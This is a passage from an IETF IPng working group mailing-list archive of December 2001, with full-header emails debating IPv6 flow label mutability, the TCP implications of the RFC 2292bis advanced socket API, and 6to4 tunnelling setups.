Fri, 21 Dec 2001 09:16:17 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLHGEZR002281 for ; Fri, 21 Dec 2001 09:16:14 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA29357 for ; Fri, 21 Dec 2001 09:16:16 -0800 (PST) Received: from zeus.anet-chi.com (zeus.anet-chi.com [207.7.4.6]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id KAA14008 for ; Fri, 21 Dec 2001 10:17:04 -0700 (MST) Received: from IPv16 (as1b-67.chi.il.dial.anet.com [198.92.157.67]) by zeus.anet-chi.com (8.12.1/8.12.0) with SMTP id fBLHEdVQ023611; Fri, 21 Dec 2001 11:14:40 -0600 (CST) Message-ID: <019f01c18a44$e7cf0d40$1000a8c0@Unir.com> From: "Jim Fleming" To: "Robert Elz" , "Hesham Soliman \(ERA\)" Cc: , , , References: <4DA6EA82906FD511BE2F00508BCF053801C4C184@Esealnt861.al.sw.ericsson.se> <3795.1008953321@brandenburg.cs.mu.OZ.AU> Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt Date: Fri, 21 Dec 2001 11:28:26 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk ----- Original Message ----- From: "Robert Elz" To: "Hesham Soliman (ERA)" Cc: ; ; ; Sent: Friday, December 21, 2001 10:48 AM Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt > Date: Fri, 21 Dec 2001 17:18:24 +0100 > From: "Hesham Soliman (ERA)" > Message-ID: <4DA6EA82906FD511BE2F00508BCF053801C4C184@Esealnt861.al.sw.ericsson.se> > > > | So in this case, if you end up with an application that > | doesn't support the flow label or simply doesn't > | care, it might still be a good idea to set the flow > | by another function in the IPv6 stack to be able > | to identify the flow when signalling to the CN > | or HA. > > Sure. > > | => Agreed. But some of the cases I've looked into would > | require the end node (as well as routers along the > | path) to verify the validity of the flow label. > > That is going to be an interesting challenge. Good luck. > > | Without some sort of semi secured flow label, the > | mutability requirement seems like a gentlemen's > | agreement :) > > Yes. As Glenn Morrow said in a recent message, if it can be altered > and there's a business imperative, it will be altered. > > However, what counts is "can be altered" - that happens only if things > don't break when it is altered. If packets get rejected because it is > being authenticated, and the alteration is detected - that's breaking, > so anyone who tried to fiddle such a field would find themselves with > no customers. But that's not the only way for things to break, and > any breakage has the same effect. > > The reason that people got away with altering the IPv4 TOS field was > simply that no-one cared - it was used for nothing in practice. Had > there been applications that actually used it, or routing schemes that > depended upon it, it wouldn't have been able to be altered without the > s**t hitting the fan. > > We don't need cryptographic type protection to avoid that kind of > manipulation - we just need to actually care what the value is. > Some people care what is in every bit, including the TOS (QoS) bits. We can only fit ICMP, UDP and TCP in IPv4++ http://www.dot-biz.com/IPv4/Tutorial/ http://www.RepliGate.net Also, the Unir Project and Virtual Personal Computer (VPC) uses a concept called Wide-Pipes. It runs in TCP. Those are 16-bit wide pipes where each byte has a stream number. It was the cover story in Dr. Dobb's Journal, #88, February 1984 for those that reference prior art. The Netfilter Project: Packet Mangling for Linux 2.4 http://netfilter.samba.org http://www.IPv8.info IPv16....One Better !! Jim Fleming http://www.ddj.com/articles/search/search.cgi?q=fleming Oct93: The C+@ Programming Language -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 09:24:52 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLHOqZR002368 for ; Fri, 21 Dec 2001 09:24:52 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBLHOqI9002367 for ipng-dist; Fri, 21 Dec 2001 09:24:52 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLHOnZR002360 for ; Fri, 21 Dec 2001 09:24:49 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA25443 for ; Fri, 21 Dec 2001 09:24:50 -0800 (PST) Received: from mailhub.txc.com (transfire.txc.com [208.5.237.254]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA06515 for ; Fri, 21 Dec 2001 10:24:50 -0700 (MST) Received: from jade.txc.com (jade.txc.com [198.138.97.40]) by mailhub.txc.com (8.9.3/8.9.3) with SMTP id MAA24730; Fri, 21 Dec 2001 12:27:10 -0500 Received: from txc.com by jade.txc.com (SMI-8.6/SMI-SVR4) id MAA25120; Fri, 21 Dec 2001 12:27:08 -0500 Message-ID: <3C23709F.E78F5EAB@txc.com> Date: Fri, 21 Dec 2001 12:25:51 -0500 From: Alex Conta X-Mailer: Mozilla 4.77 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Tony Hain CC: Muhammad Jaseemuddin , ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt References: Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms8410E5FC1EC94A9B7AFEC06A" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk This is a cryptographically signed message in MIME format. --------------ms8410E5FC1EC94A9B7AFEC06A Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit If we had a flow label processing in the network without flow label setup perhaps I would have agreed with you. But if we accept that: a. the flow label has no semantics b. the flow label processing in the Network /depends directly on/is controlled by/ the flow setup in the Network devices (forwarding engines) then, preserving the meaning given by an application to a flow label (keeping it as a constant or not) is a function that can be very well undertaken by "b." (flow setup). That in fact makes the absolute restriction that you are suggesting UNNECESSARY. Furthermore, the restriction has a detrimental effect on the subset of applications that could take advantage of a changing value. Saying nothing about the flow label mutability, or leaving it to the flow label processing and setup, is a more inclusive, and positive architectural approach. Alex Tony Hain wrote: > > Muhammad Jaseemuddin wrote: > > I completely agree with you that unless we have a > > signalling/flow-establishment mechanism we cannot really define the > > flow-label usage in a meaninful way. Perhaps we should wait until new > > NSIS sginalling might come-up with some usage and mechanism for this > > bit-space. > > But it is the responsibility of this group to restrict their domain of > choices to things that make architectural sense. As I said in the last > note to Margaret, the participants in the QoS WGs have consistently > proven they don't understand the value of an end-to-end constant. If we > don't point out that the DSCP is their mutable field to play with so > leave the FL alone, we will end up with 2 random numbers and application > developers will continue to ignore QoS because they have no means to > express their intent that will be valid at all points in the path. > > Tony > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- --------------ms8410E5FC1EC94A9B7AFEC06A Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature MIIKQwYJKoZIhvcNAQcCoIIKNDCCCjACAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC B88wggSZMIIEAqADAgECAhBT22tjRO5Ts9MONqotvZFxMA0GCSqGSIb3DQEBBAUAMIHMMRcw FQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29y azFGMEQGA1UECxM9d3d3LnZlcmlzaWduLmNvbS9yZXBvc2l0b3J5L1JQQSBJbmNvcnAuIEJ5 IFJlZi4sTElBQi5MVEQoYyk5ODFIMEYGA1UEAxM/VmVyaVNpZ24gQ2xhc3MgMSBDQSBJbmRp dmlkdWFsIFN1YnNjcmliZXItUGVyc29uYSBOb3QgVmFsaWRhdGVkMB4XDTAxMTAwOTAwMDAw MFoXDTAyMTAwNDIzNTk1OVowggELMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UE CxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazFGMEQGA1UECxM9d3d3LnZlcmlzaWduLmNvbS9y ZXBvc2l0b3J5L1JQQSBJbmNvcnAuIGJ5IFJlZi4sTElBQi5MVEQoYyk5ODEeMBwGA1UECxMV UGVyc29uYSBOb3QgVmFsaWRhdGVkMTMwMQYDVQQLEypEaWdpdGFsIElEIENsYXNzIDEgLSBO ZXRzY2FwZSBGdWxsIFNlcnZpY2UxEzARBgNVBAMUCkFsZXggQ29udGExHTAbBgkqhkiG9w0B CQEWDmFjb250YUB0eGMuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC8pEA2sjg+ 0ynE9D2vtcBuy/TmA2NI6bhBQgSgmdHLYsI4ICXjR/im0tPg5Uc4BqnlFtf7U96XRalPp6a9 d6RAqwODEfrMo+UgOBwB5Ge+1DwrATDK5g1ycUmab1FCE/oCWKWp7ttKF01iFPMnv6X359uj pSYWP3pvNdr7JoA0+wIDAQABo4IBODCCATQwCQYDVR0TBAIwADCBrAYDVR0gBIGkMIGhMIGe BgtghkgBhvhFAQcBATCBjjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cudmVyaXNpZ24uY29t L0NQUzBiBggrBgEFBQcCAjBWMBUWDlZlcmlTaWduLCBJbmMuMAMCAQEaPVZlcmlTaWduJ3Mg Q1BTIGluY29ycC4gYnkgcmVmZXJlbmNlIGxpYWIuIGx0ZC4gKGMpOTcgVmVyaVNpZ24wEQYJ YIZIAYb4QgEBBAQDAgeAMDAGCmCGSAGG+EUBBgcEIhYgMjUzMTYxNzA3NGE1YTU1NzkzYzdl ODQyNjYxMjUwMjYwMwYDVR0fBCwwKjAooCagJIYiaHR0cDovL2NybC52ZXJpc2lnbi5jb20v Y2xhc3MxLmNybDANBgkqhkiG9w0BAQQFAAOBgQA0yPwnlaV3opZRses+UaAskkrPGC0jXwsu 7PKoN3dTKAd9UlWmZU1CBA3ZuoSGymYR+BLLDYdaLOJjKS3eWD5Xr5ips7id3QankOYYGwKO DoHj5EcX/VBCewZ1r54Py3WehHZ08/h/HVOaQDZNOUK6331mZJBXcYwlk71xgTPuPTCCAy4w ggKXoAMCAQICEQDSdi6NFAw9fbKoJV2v7g11MA0GCSqGSIb3DQEBAgUAMF8xCzAJBgNVBAYT AlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjE3MDUGA1UECxMuQ2xhc3MgMSBQdWJsaWMg UHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw05ODA1MTIwMDAwMDBaFw0wODA1 MTIyMzU5NTlaMIHMMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNp Z24gVHJ1c3QgTmV0d29yazFGMEQGA1UECxM9d3d3LnZlcmlzaWduLmNvbS9yZXBvc2l0b3J5 L1JQQSBJbmNvcnAuIEJ5IFJlZi4sTElBQi5MVEQoYyk5ODFIMEYGA1UEAxM/VmVyaVNpZ24g Q2xhc3MgMSBDQSBJbmRpdmlkdWFsIFN1YnNjcmliZXItUGVyc29uYSBOb3QgVmFsaWRhdGVk MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC7WkSKBBa7Vf0DeootlE8VeDa4DUqyb5xU v7zodyqdufBou5XZMUFweoFLuUgTVi3HCOGEQqvAopKrRFyqQvCCDgLpL/vCO7u+yScKXbaw NkIztW5UiE+HSr8Z2vkV6A+HthzjzMaajn9qJJLj/OBluqexfu/J2zdqyErICQbkmQIDAQAB o3wwejARBglghkgBhvhCAQEEBAMCAQYwRwYDVR0gBEAwPjA8BgtghkgBhvhFAQcBATAtMCsG CCsGAQUFBwIBFh93d3cudmVyaXNpZ24uY29tL3JlcG9zaXRvcnkvUlBBMA8GA1UdEwQIMAYB Af8CAQAwCwYDVR0PBAQDAgEGMA0GCSqGSIb3DQEBAgUAA4GBAIi4Nzvd2pQ3AK2qn+GBAXEe kmptL/bxndPKZDjcG5gMB4ZbhRVqD7lJhaSV8Rd9Z7R/LSzdmkKewz60jqrlCwbe8lYq+jPH vhnXU0zDvcjjF7WkSUJj7MKmFw9dWBpJPJBcVaNlIAD9GCDlX4KmsaiSxVhqwY0DPOvDzQWi kK5uMYICPDCCAjgCAQEwgeEwgcwxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQL ExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMUYwRAYDVQQLEz13d3cudmVyaXNpZ24uY29tL3Jl cG9zaXRvcnkvUlBBIEluY29ycC4gQnkgUmVmLixMSUFCLkxURChjKTk4MUgwRgYDVQQDEz9W ZXJpU2lnbiBDbGFzcyAxIENBIEluZGl2aWR1YWwgU3Vic2NyaWJlci1QZXJzb25hIE5vdCBW YWxpZGF0ZWQCEFPba2NE7lOz0w42qi29kXEwCQYFKw4DAhoFAKCBsTAYBgkqhkiG9w0BCQMx CwYJKoZIhvcNAQcBMBwGCSqGSIb3DQEJBTEPFw0wMTEyMjExNzI2MzVaMCMGCSqGSIb3DQEJ BDEWBBTFzcLve1J/03p6zCioIcpcblO/1jBSBgkqhkiG9w0BCQ8xRTBDMAoGCCqGSIb3DQMH MA4GCCqGSIb3DQMCAgIAgDAHBgUrDgMCBzANBggqhkiG9w0DAgIBQDANBggqhkiG9w0DAgIB KDANBgkqhkiG9w0BAQEFAASBgDECrZxQd7IL28WA3RmmCVYQ6hEiBhvoAvD4MfVEOQHHwYCE 2hnCz3ilreX8erc2ppUsivCwDwvuEovPsbXyyI3+lbO390WoO6XcnA9ZDB3ghx9MeATuPPX/ UTAMr2xhQnujTE0PYZtpHivUVRCACxYekStjkjRLv5ula0YSUsZM --------------ms8410E5FC1EC94A9B7AFEC06A-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 09:27:35 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLHRYZR002390 for ; Fri, 21 Dec 2001 09:27:34 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBLHRYJt002389 for ipng-dist; Fri, 21 Dec 2001 09:27:34 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLHRTZR002382 for ; Fri, 21 Dec 2001 09:27:30 -0800 (PST) Received: from lillen (d-mpk17-86-237.Eng.Sun.COM [129.146.86.237]) by bebop.France.Sun.COM (8.10.2+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id fBLHRB304673; Fri, 21 Dec 2001 18:27:11 +0100 (MET) Date: Fri, 21 Dec 2001 18:25:07 +0100 (CET) From: Erik Nordmark Reply-To: Erik Nordmark Subject: Re: TCP implication of 2292bis To: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= Cc: Erik Nordmark , ipng@sunroof.eng.sun.com In-Reply-To: "Your message with ID" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > > Are there TCP applications which use RFC 2292 style for accessing received > > extension headers? > > I thought we had concluded that no TCP applications existed that access > > the received stuff (even tough telnet can set things like routing headers > > for transmit). > > Okay, compatibility to existing applications should actually not > matter. I had a more fundamental question: does there exist even one TCP application which receives extension headers? I haven't seen one. You seemed to say that such exist. If they do it would be useful to look at those TCP applications to see what they are trying to do and which flavor of the API fits better. And if they exist it might not make sense to remove everything about TCP applications receiving extension headers from the spec. > I'm not sure I can get this argument...in the 03 behavior (as well as > in 02), the IPV6_RECVXXX options always set/get an integer, regardless > of the socket type (TCP/UDP/raw). These options just tell the kernel > if the application wants to receive the incoming extension headers (or > other optional info). Then, in 03, UDP or raw sockets get the > information as ancillary data and TCP sockets get it via a separate > socket option "IPV6_PKTOPTIONS." I think there is no overloading > here. You're right. I seemed to have read that a getsockopt of IPV6_RECV* would return the information. Using IPV6_PKTOPTIONS does not have overloading problems. Erik -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 09:45:54 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLHjsZR002560 for ; Fri, 21 Dec 2001 09:45:54 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBLHjsOi002559 for ipng-dist; Fri, 21 Dec 2001 09:45:54 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLHjpZR002552 for ; Fri, 21 Dec 2001 09:45:51 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA12961 for ; Fri, 21 Dec 2001 09:45:51 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA13082 for ; Fri, 21 Dec 2001 09:45:50 -0800 (PST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fBLHjkm27647; Fri, 21 Dec 2001 19:45:46 +0200 Date: Fri, 21 Dec 2001 19:45:45 +0200 (EET) From: Pekka Savola To: Francis Dupont cc: Peter Bieringer , Subject: Re: (ngtrans) remote netaccess-threats via automatic tunneling In-Reply-To: <200112211544.fBLFiGD69452@givry.rennes.enst-bretagne.fr> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Fri, 21 Dec 2001, Francis Dupont wrote: > In your previous mail you wrote: > > I use such scenario in real life for my home office network (dynamic > IPv4 on gateway). > > > configured (a static prefix): > homeoffice <-> tunnel.bieringer.de <-> 6bone > > + > > 6to4: > homeoffice <-> 6to4relay <-> 6bone > > => why do you need 6to4 when you already have a static prefix? Optimize connectivity to destinations which implement only 6to4 or also 6to4 in addition to native. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 09:52:01 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLHq1ZR002712 for ; Fri, 21 Dec 2001 09:52:01 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBLHq04u002711 for ipng-dist; Fri, 21 Dec 2001 09:52:00 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLHpuZR002704 for ; Fri, 21 Dec 2001 09:51:56 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA14591 for ; Fri, 21 Dec 2001 09:51:58 -0800 (PST) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA28856 for ; Fri, 21 Dec 2001 09:51:57 -0800 (PST) Received: from localhost ([3ffe:501:100f:13ff::a]) by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id fBLHpp366264; Sat, 22 Dec 2001 02:51:51 +0900 (JST) Date: Sat, 22 Dec 2001 02:50:57 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: Erik Nordmark Cc: ipng@sunroof.eng.sun.com Subject: Re: TCP implication of 2292bis In-Reply-To: References: User-Agent: Wanderlust/2.7.5 (Too Funky) Emacs/21.1 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 980905(IM100) Lines: 39 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>>>> On Fri, 21 Dec 2001 18:25:07 +0100 (CET), >>>>> Erik Nordmark said: >> > Are there TCP applications which use RFC 2292 style for accessing received >> > extension headers? >> > I thought we had concluded that no TCP applications existed that access >> > the received stuff (even tough telnet can set things like routing headers >> > for transmit). >> >> Okay, compatibility to existing applications should actually not >> matter. > I had a more fundamental question: does there exist even one TCP application > which receives extension headers? > I haven't seen one. I still seemed to be unclear...No, I've never seen one, either. (There was actually one (and only one) TCP application that tried to get receiving interface at the accept() time. It was a BGP4+ daemon, which needed the interface to disambiguate link-local peers. However, we now have the sin6_scope_id field in sockaddr_in6{} and do not need the information for this purpose.) > You seemed to say that such exist. If they do it would be useful to > look at those TCP applications to see what they are trying to do > and which flavor of the API fits better. > And if they exist it might not make sense to remove everything about > TCP applications receiving extension headers from the spec. Agreed. But (again) I've never seen such applications with the exception above, which does actually not need the receive info using the current basic API. I can't imagine such applications in a foreseeable future either. JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 10:19:24 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLIJOZR003296 for ; Fri, 21 Dec 2001 10:19:24 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBLIJOZR003295 for ipng-dist; Fri, 21 Dec 2001 10:19:24 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLIJJZR003285 for ; Fri, 21 Dec 2001 10:19:19 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA21599 for ; Fri, 21 Dec 2001 10:19:21 -0800 (PST) Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA27378 for ; Fri, 21 Dec 2001 10:19:21 -0800 (PST) Received: from kenawang ([128.224.4.111]) by mail.wrs.com (8.9.3/8.9.1) with ESMTP id KAA25115; Fri, 21 Dec 2001 10:17:41 -0800 (PST) Message-Id: <4.2.2.20011221111819.00a82100@mail.windriver.com> X-Sender: mrw@mail.windriver.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Fri, 21 Dec 2001 13:18:00 -0500 To: Brian E Carpenter From: Margaret Wasserman Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt Cc: ipng@sunroof.eng.sun.com In-Reply-To: <3C2319F5.8DEE6F39@hursley.ibm.com> References: <4.2.2.20011220133537.024a12e0@mail.windriver.com> <4.2.2.20011220144423.01f5e100@mail.windriver.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi Brian, >If it is defined architecturally as an immutable e2e value, there >are immediate ways to use it in hardware that will work for any >semantics we may later add to it. Could you give an example? From my understanding of the current draft, the information in the packet (the flow label, source address and destination address) will not be sufficient to uniquely identify a single flow. Without a knowledge of the flow lifetime (and protection of that lifetime across reboots, etc.) the same flow label may be used by multiple flows between a given source/destination pair, without any way for the routers to detect when one flow ends and another starts. Basically, a given flow label/source addr/dest addr combination can only be used to identify a group of flows between the source and destination. These flows may not have the same hop-by-hop options, may not be using the same upper layer protocols, etc. So, it wouldn't be reasonable for me to cache any information about the first flow, for fear that it would be used for the second (potentially very different) flow. As far as I can tell, this makes it impossible to use the flow label as current defined (without some out-of-band flow management system to supply knowledge of flow lifetimes) to identify a single flow. What am I missing? Margaret -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 10:26:05 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLIQ5ZR003515 for ; Fri, 21 Dec 2001 10:26:05 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBLIQ5gN003514 for ipng-dist; Fri, 21 Dec 2001 10:26:05 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLIQ2ZR003507 for ; Fri, 21 Dec 2001 10:26:02 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA23555 for ; Fri, 21 Dec 2001 10:26:04 -0800 (PST) Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA17586 for ; Fri, 21 Dec 2001 10:26:03 -0800 (PST) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id fBLIITY29625; Fri, 21 Dec 2001 10:18:29 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AAO38570; Fri, 21 Dec 2001 10:17:54 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id KAA06972; Fri, 21 Dec 2001 10:18:27 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15395.31987.240571.416493@thomasm-u1.cisco.com> Date: Fri, 21 Dec 2001 10:18:27 -0800 (PST) To: Robert Elz Cc: Michael Thomas , "Hesham Soliman (ERA)" , jarno.rajahalme@nokia.com, Francis.Dupont@enst-bretagne.fr, brian@hursley.ibm.com, ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt In-Reply-To: <3933.1008954966@brandenburg.cs.mu.OZ.AU> References: <15395.27066.627516.132289@thomasm-u1.cisco.com> 